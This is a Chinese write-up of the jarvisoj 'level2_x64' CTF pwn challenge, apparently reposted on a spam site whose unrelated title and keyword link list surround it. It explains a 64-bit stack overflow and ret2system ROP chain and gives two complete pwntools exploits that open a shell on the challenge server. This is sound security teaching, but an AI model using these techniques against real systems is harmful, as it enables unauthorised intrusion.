当前位置: 首页 > news >正文

java做网站书学编程的正规学校

java做网站书,学编程的正规学校,一个月做网站,有什么做3维的案例网站参考:BUU pwn jarvisoj_level2_x64 64位函数调用栈 - Nemuzuki - 博客园 (cnblogs.com) 64位,开启了NX保护 执行效果如下: main函数: vulnerable_function函数 read函数存在栈溢出,溢出距离为0x808 查找后门…

参考:BUU pwn jarvisoj_level2_x64 64位函数调用栈 - Nemuzuki - 博客园 (cnblogs.com)

64位,开启了NX保护
在这里插入图片描述

执行效果如下:
在这里插入图片描述

main函数:
在这里插入图片描述

vulnerable_function函数
在这里插入图片描述

read函数存在栈溢出,溢出距离为0x80+8
在这里插入图片描述

查找后门函数
system函数地址0x4004C0
在这里插入图片描述

/bin/sh地址0x600A90
在这里插入图片描述

现在只需要让函数返回到system,并传入参数“/bin/sh”就可以了
32位的比较简单,只需要返回地址+下一次的返回地址+参数1+参数2+…
64位的流程如下:
首先用128+8个字节覆盖掉buf和rbp,然后是pop rdi; ret指令的地址,再接着是’/bin/sh’字符串的地址,最后是system()函数的地址。流程为:子函数返回到pop rdi; ret处,该指令会将当前栈顶的元素(‘/bin/sh’字符串的地址)出栈并存入rdi中,并返回到下一条指令处。此时栈中就只有system()函数的地址了,所以下一条指令正是system(),而它需要的参数正好就在rdi寄存器中,这样就执行了system(’/bin/sh’)
在这里插入图片描述

pop rdi; ret指令的地址通过ROPgadget查找:

ROPgadget --binary ./level2_x64 --only "pop|ret"

在这里插入图片描述

对应的exp如下:

from pwn import *
r = remote("node5.buuoj.cn",29878)
pop_rdi = 0x4006b3
binsh_addr = 0x600A90
system_addr = 0x4004C0
payload = b'a'*(0x80+8)+p64(pop_rdi)+p64(binsh_addr)+p64(system_addr)
r.sendline(payload)
r.interactive()

执行结果如下:
在这里插入图片描述
有些时候需要构造栈平衡加入ret地址,这里加不加都可以打通得到flag:

ROPgadget --binary ./level2_x64 --only "ret"

在这里插入图片描述

对应的exp如下:

from pwn import *
r = remote("node5.buuoj.cn",29878)
pop_rdi = 0x4006b3
binsh_addr = 0x600A90
system_addr = 0x4004C0
ret = 0x4004a1
payload = b'a'*(0x80+8)+p64(ret)+p64(pop_rdi)+p64(binsh_addr)+p64(system_addr)
r.sendline(payload)
r.interactive()

执行结果如下:
在这里插入图片描述

http://www.khdw.cn/news/14522.html

相关文章:

  • 公司如何做网站建设国外搜索引擎大全不屏蔽
  • 用html做一号店网站怎么做软文范例大全800
  • 昆明网站建设制作舆情系统
  • 福州设计网站电商运营工资一般多少钱一个月
  • 求个网站2021百度网盘服务电话6988
  • 西充建设部门投诉网站云搜索
  • 什么颜色做网站好看搜索引擎营销广告
  • iis网站筛选器被挂马谷歌下载官网
  • 做澳洲外贸的网站百度推广账号登陆入口
  • 网站建站服务公司重庆官网seo分析
  • wordpress 下载源谷歌seo关键词优化
  • 网站建设培训班上的讲话今天国际新闻
  • 湛江人才网搜索引擎优化的概念是什么
  • 做网站去哪里下载素材网络营销工程师培训
  • 网页和网站做哪个好谷歌外贸平台叫什么
  • 网站伪静态有什么用seo外包多少钱
  • 数据网站有哪些时空seo助手
  • 国开b2b电子商务网站调研报告地推项目对接平台
  • 网站前端怎么做韩国日本比分
  • 江苏德丰建设集团网站百度小说风云榜
  • 做的网站 显示乱码网址之家
  • 荣耀手机官网网站搜索引擎登录入口
  • 成都专业手机网站建设服务买卖链接网站
  • 企业网站和政府网站的建设规划有什么区别网络营销方式
  • 北京好的网站建设口碑营销的步骤
  • 广州网站开发定制公司网站优化方案模板
  • 热门的建设工程人员查询上海营销seo
  • php网站源码安装教程日本站外推广网站
  • 无许可证做新闻网站会怎么样新闻 最新消息
  • 用香港阿里云做网站好有钱识别关键词软件